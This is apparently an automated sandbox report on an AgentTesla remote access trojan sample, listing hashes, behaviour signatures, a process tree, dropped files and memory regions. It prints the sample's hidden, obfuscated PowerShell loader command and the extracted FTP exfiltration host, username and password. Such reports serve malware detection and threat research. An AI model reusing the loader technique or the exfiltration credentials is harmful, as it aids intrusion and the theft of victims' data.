Analysis

  • max time kernel
    145s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240910-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240910-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-10-2024 02:19

General

  • Target

    faa7829ce9f42c0f66f754bda78ed09257191d44be15b16583e1a2df1eceff64.exe

  • Size

    1005KB

  • MD5

    36c593a2ceb2680510f2094cd6e4010d

  • SHA1

    03f1e81a26c614bcac620bbcd7a90f078e7d6146

  • SHA256

    faa7829ce9f42c0f66f754bda78ed09257191d44be15b16583e1a2df1eceff64

  • SHA512

    0aef0057ec535bb8b892462b9859396ca59531913eeed4385e6680d1930d85fc1cec6ee12802fa3c4c397b2240f63850eba140179c92e3f4ce4a8baf15f1a9ca

  • SSDEEP

    24576:UgD0Xah46clx/flW5y0DGeYongL84sNEQj:UgYXaefsZ3YoY84gjj

Malware Config

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    ftp.rusticpensiune.ro
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    hr,d@KUwa5llI%*RNL^J]g%8I;!;_Ne#G1h~lE!*86DAAD6#iLm$x)r+e1z$p+_Q,4_(f!};B?vD!IG?NqT[zOHNr6_nww[S]V?MlcYSt_QO

Extracted

Family

agenttesla

Credentials

  • Protocol:
    ftp
  • Host:
    ftp://ftp.rusticpensiune.ro
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    hr,d@KUwa5llI%*RNL^J]g%8I;!;_Ne#G1h~lE!*86DAAD6#iLm$x)r+e1z$p+_Q,4_(f!};B?vD!IG?NqT[zOHNr6_nww[S]V?MlcYSt_QO

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Blocklisted process makes network request 4 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\faa7829ce9f42c0f66f754bda78ed09257191d44be15b16583e1a2df1eceff64.exe
    "C:\Users\Admin\AppData\Local\Temp\faa7829ce9f42c0f66f754bda78ed09257191d44be15b16583e1a2df1eceff64.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2224
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Decentraliseringers\misdidived\Unengrossing\Independable.Ovi';$Fellifluous=$Forglemmelser.SubString(7655,3);.$Fellifluous($Forglemmelser)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3560
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\syswow64\msiexec.exe"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2016

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Decentraliseringers\misdidived\Unengrossing\Goffers.Bra

    Filesize

    366KB

    MD5

    66c0ef51e4f41139f546ebf7523ffedf

    SHA1

    91eaa3b8d3a0dc7e3910bc6ae9bc860348e4238b

    SHA256

    68dfb148b273fb7abb5baf0e42dbcb86127d1682b5bae1ede8a1b50bd00059d2

    SHA512

    67d627d0cccde23112fed8b0df113d8a7943e95aa4990e9db9ce5bae04436a81c01f9ffbda87577c2a52b8a596943c6f30636370e9fa8e0dde56b443eb80df1a

  • C:\Users\Admin\AppData\Local\Decentraliseringers\misdidived\Unengrossing\Independable.Ovi

    Filesize

    54KB

    MD5

    9bb7bc97960fef33d8884cdca423c2dd

    SHA1

    a316731a54a85c2b2c99be377b81196a08c81d7f

    SHA256

    e03ca6b56a172df4b35a9862314b1c8993d4981923a7bca152b8324931f3b303

    SHA512

    3b314d83e646b01e5e2506cb9d16101fe8f3f5ae1ee74291fd12ac6be5abb80ebc8c55cd19fd07050962bb4181d16ace9f12d3100f86ca6cf6962faecdef45d8

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iuqkhgdg.tm2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2016-72-0x0000000023250000-0x000000002325A000-memory.dmp

    Filesize

    40KB

  • memory/2016-71-0x0000000023A40000-0x0000000023AD2000-memory.dmp

    Filesize

    584KB

  • memory/2016-70-0x0000000023140000-0x00000000231DC000-memory.dmp

    Filesize

    624KB

  • memory/2016-69-0x0000000023050000-0x00000000230A0000-memory.dmp

    Filesize

    320KB

  • memory/2016-68-0x0000000000EB0000-0x0000000000EF2000-memory.dmp

    Filesize

    264KB

  • memory/2016-67-0x0000000000EB0000-0x0000000002104000-memory.dmp

    Filesize

    18.3MB

  • memory/3560-28-0x0000000006700000-0x000000000671E000-memory.dmp

    Filesize

    120KB

  • memory/3560-53-0x0000000007E40000-0x0000000007E6A000-memory.dmp

    Filesize

    168KB

  • memory/3560-29-0x0000000006740000-0x000000000678C000-memory.dmp

    Filesize

    304KB

  • memory/3560-30-0x00000000078E0000-0x0000000007976000-memory.dmp

    Filesize

    600KB

  • memory/3560-31-0x0000000006BF0000-0x0000000006C0A000-memory.dmp

    Filesize

    104KB

  • memory/3560-32-0x0000000006C40000-0x0000000006C62000-memory.dmp

    Filesize

    136KB

  • memory/3560-33-0x0000000007F60000-0x0000000008504000-memory.dmp

    Filesize

    5.6MB

  • memory/3560-23-0x00000000060B0000-0x0000000006404000-memory.dmp

    Filesize

    3.3MB

  • memory/3560-35-0x0000000008B90000-0x000000000920A000-memory.dmp

    Filesize

    6.5MB

  • memory/3560-37-0x0000000070640000-0x000000007068C000-memory.dmp

    Filesize

    304KB

  • memory/3560-38-0x0000000074820000-0x0000000074FD0000-memory.dmp

    Filesize

    7.7MB

  • memory/3560-36-0x0000000007B40000-0x0000000007B72000-memory.dmp

    Filesize

    200KB

  • memory/3560-39-0x0000000070DE0000-0x0000000071134000-memory.dmp

    Filesize

    3.3MB

  • memory/3560-49-0x0000000007B20000-0x0000000007B3E000-memory.dmp

    Filesize

    120KB

  • memory/3560-50-0x0000000007B90000-0x0000000007C33000-memory.dmp

    Filesize

    652KB

  • memory/3560-51-0x0000000007CB0000-0x0000000007CBA000-memory.dmp

    Filesize

    40KB

  • memory/3560-52-0x0000000074820000-0x0000000074FD0000-memory.dmp

    Filesize

    7.7MB

  • memory/3560-10-0x000000007482E000-0x000000007482F000-memory.dmp

    Filesize

    4KB

  • memory/3560-54-0x0000000007E70000-0x0000000007E94000-memory.dmp

    Filesize

    144KB

  • memory/3560-55-0x0000000074820000-0x0000000074FD0000-memory.dmp

    Filesize

    7.7MB

  • memory/3560-56-0x0000000074820000-0x0000000074FD0000-memory.dmp

    Filesize

    7.7MB

  • memory/3560-16-0x00000000057F0000-0x0000000005856000-memory.dmp

    Filesize

    408KB

  • memory/3560-58-0x000000007482E000-0x000000007482F000-memory.dmp

    Filesize

    4KB

  • memory/3560-59-0x0000000074820000-0x0000000074FD0000-memory.dmp

    Filesize

    7.7MB

  • memory/3560-60-0x0000000074820000-0x0000000074FD0000-memory.dmp

    Filesize

    7.7MB

  • memory/3560-62-0x0000000074820000-0x0000000074FD0000-memory.dmp

    Filesize

    7.7MB

  • memory/3560-61-0x0000000009210000-0x000000000BE28000-memory.dmp

    Filesize

    44.1MB

  • memory/3560-63-0x0000000074820000-0x0000000074FD0000-memory.dmp

    Filesize

    7.7MB

  • memory/3560-17-0x0000000005ED0000-0x0000000005F36000-memory.dmp

    Filesize

    408KB

  • memory/3560-15-0x0000000005750000-0x0000000005772000-memory.dmp

    Filesize

    136KB

  • memory/3560-14-0x0000000074820000-0x0000000074FD0000-memory.dmp

    Filesize

    7.7MB

  • memory/3560-13-0x00000000058A0000-0x0000000005EC8000-memory.dmp

    Filesize

    6.2MB

  • memory/3560-12-0x0000000074820000-0x0000000074FD0000-memory.dmp

    Filesize

    7.7MB

  • memory/3560-11-0x0000000005120000-0x0000000005156000-memory.dmp

    Filesize

    216KB